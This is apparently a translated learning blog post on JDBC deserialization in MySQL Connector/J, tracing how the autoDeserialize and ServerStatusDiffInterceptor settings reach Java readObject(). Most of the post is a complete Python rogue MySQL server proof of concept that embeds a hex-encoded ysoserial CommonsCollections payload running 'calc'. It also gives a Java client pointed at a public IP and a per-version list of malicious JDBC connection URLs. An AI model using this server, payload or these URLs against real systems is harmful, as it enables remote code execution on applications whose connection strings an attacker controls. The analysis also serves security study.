preface
In this article, learn the vulnerability principle of JDBC deserialization a little. There are some differences between different versions, but there are mainly two utilization methods. The main thing is to understand the principle. The later POC writing is a little confused. If you don't understand it, you can only directly use the scripts of great masters.
ServerStatusDiffInterceptor utilization
The ServerStatusDiffInterceptor I use for local replication is:
<dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.12</version> </dependency>
The issue of version will be mentioned at the end.
JDBC deserialization was a topic at the BlackHat Europe 2019 conference.
When a successful JDBC deserialization attack requires a JDBC connection, the url is controllable:
package com.feng.test; import java.sql.Connection; import java.sql.DriverManager; public class Test { public static void main(String[] args) throws Exception{ Class.forName("com.mysql.jdbc.Driver"); String url = "jdbc:mysql://118.31.168.198:33306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"; String username = "root"; String password = "root"; Connection connection = DriverManager.getConnection(url, username, password); } }
Note that the connection has two additional parameters:
autoDeserialize=true queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
The property queryInterceptors is a query interceptor. In other words, it is a filter. Its function may be a bit similar to that in php__ wakeup?
After the property is set to com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor, the preProcess and postProcess methods of the interceptor will be called every time the query statement is executed.
The preProcess() method of com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor class is used:
@Override public <T extends Resultset> T preProcess(Supplier<String> sql, Query interceptedQuery) { populateMapWithSessionStatusValues(this.preExecuteValues); return null; // we don't actually modify a result set }
Follow up populatemapwithsessionstatsvalues():
private void populateMapWithSessionStatusValues(Map<String, String> toPopulate) { java.sql.Statement stmt = null; java.sql.ResultSet rs = null; try { try { toPopulate.clear(); stmt = this.connection.createStatement(); rs = stmt.executeQuery("SHOW SESSION STATUS"); ResultSetUtil.resultSetToMap(toPopulate, rs);
First, execute a query SHOW SESSION STATUS to obtain the result set rs of the query, and then enter the resultSetToMap() method:
public static void resultSetToMap(Map mappedValues, ResultSet rs) throws SQLException { while (rs.next()) { mappedValues.put(rs.getObject(1), rs.getObject(2)); } }
A very, very exciting method, getObject() appears. The original author paid attention to the implementation class of ResultSet and the getObject() method of ResultSetImpl class:
@Override public Object getObject(int columnIndex) throws SQLException { checkRowPos(); checkColumnBounds(columnIndex); int columnIndexMinusOne = columnIndex - 1; // we can't completely rely on code below because primitives have default values for null (e.g. int->0) if (this.thisRow.getNull(columnIndexMinusOne)) { return null; } Field field = this.columnDefinition.getFields()[columnIndexMinusOne]; switch (field.getMysqlType()) { case BIT: // TODO Field sets binary and blob flags if the length of BIT field is > 1; is it needed at all? if (field.isBinary() || field.isBlob()) { byte[] data = getBytes(columnIndex); if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) { Object obj = data; if ((data != null) && (data.length >= 2)) { if ((data[0] == -84) && (data[1] == -19)) { // Serialized object? try { ByteArrayInputStream bytesIn = new ByteArrayInputStream(data); ObjectInputStream objIn = new ObjectInputStream(bytesIn); obj = objIn.readObject(); objIn.close(); bytesIn.close(); } catch (ClassNotFoundException cnfe) { throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString() + Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor()); } catch (IOException ex) { obj = data; // not serialized? } } else { return getString(columnIndex); } } return obj; } return data; } return field.isSingleBit() ? Boolean.valueOf(getBoolean(columnIndex)) : getBytes(columnIndex);
It's quite long. Sort it out roughly. First calculate columnIndexMinusOne, and then get the Field according to this. If the type is BIT, then judge whether the data is blob or binary data. If so, you can get whether autoDeserialize in the connection attribute is true (so set it to true). Then judge whether the data size is greater than 2. If so, judge whether the first byte and the second byte are - 84 and - 19 (the first two bytes of the serialized object in Java are - 84 and - 19, which is an identification of Java). If so, it is an exciting moment:
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data); ObjectInputStream objIn = new ObjectInputStream(bytesIn); obj = objIn.readObject(); objIn.close(); bytesIn.close();
Deserialize. I have brought commons collections 3.1 in my environment so that I can deserialize rce directly.
The idea is easy to clarify, but the key is how to write the returned result set of the SHOW SESSION STATUS query. This is difficult. I didn't understand the following reference articles, so I can only use POC directly:
# -*- coding:utf-8 -*- #@Time : 2020/7/27 2:10 #@Author: Tri0mphe7 #@File : server.py import socket import binascii import os greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400" response_ok_data="0700000200000002000000" def receive_data(conn): data = conn.recv(1024) print("[*] Receiveing the package : {}".format(data)) return str(data).lower() def send_data(conn,data): print("[*] Sending the package : {}".format(data)) conn.send(binascii.a2b_hex(data)) def get_payload_content(): //The contents of the file file use the usage rules generated by ysoserial java -jar ysoserial [common7] "Calc" > a file= r'a' if os.path.isfile(file): with open(file, 'rb') as f: payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8') print("open successs") else: print("open false") #calc payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878' return payload_content # Main logic def run(): while 1: conn, addr = sk.accept() print("Connection come from {}:{}".format(addr[0],addr[1])) # 1. Send the first greeting message first send_data(conn,greeting_data) while True: # Login authentication process simulation 1. Client sends request login message 2. Server responds to response_ok receive_data(conn) send_data(conn,response_ok_data) #Other processes data=receive_data(conn) #Query some configuration information, in which your version number will be sent if "session.auto_increment_increment" in data: _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000' send_data(conn,_payload) data=receive_data(conn) elif "show warnings" in data: _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000' send_data(conn, _payload) data = receive_data(conn) if "set names" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "set character_set_results" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "show session status" in data: mysql_data = '0100000102' mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000' mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000' # Why can't I run normally when I add EOF Packet?? //Get payload payload_content=get_payload_content() //Calculate payload length payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4) payload_length_hex = payload_length[2:4] + payload_length[0:2] //Calculate packet length data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6) data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2] mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex mysql_data += str(payload_content) mysql_data += '07000005fe000022000100' send_data(conn, mysql_data) data = receive_data(conn) if "show warnings" in data: payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000' send_data(conn, payload) break if __name__ == '__main__': HOST ='0.0.0.0' PORT = 3309 sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #When the socket is closed, the port number used by the local end for the socket can be reused immediately. In order to experiment, you don't have to wait a long time sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sk.bind((HOST, PORT)) sk.listen(1) print("start fake mysql server listening on {}:{}".format(HOST,PORT)) run()
edition
The other attack methods of detectcustomcollisions are not seen, and the difference is not too great.
Master fnmsd has also made a thorough summary of the version and directly put his summary results:
ServerStatusDiffInterceptor trigger:
8.x:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
6. X (different attribute names): JDBC: mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_ JRE8u20_ calc
5.x version 5.1.11 and above (package name without cj): JDBC: mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_ JRE8u20_ calc
Version 5.1.X of 5.1.10 and below: the same as above, but the query needs to be executed after connection.
5.0.x: there is no ServerStatusDiffInterceptor yet
Detectcustomcollaborations trigger:
5.1.41 and above: not available
5.1.29-5.1.40:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
5.1.28-5.1.19: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
Version 5.1.x below 5.1.18: not available
Version 5.0.x is not available
summary
I'm still too good. I can't understand the details in the POC. Java Xiaobai still has to learn slowly and come back to supplement the details later.
Reference articles
https://blog.csdn.net/fnmsd/article/details/106232092
https://xz.aliyun.com/t/8159
https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
http://m0d9.me/2021/04/20/Jdbc-%E7%A2%8E%E7%A2%8E%E5%BF%B5%E4%BA%8C%EF%BC%9AMySQL-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/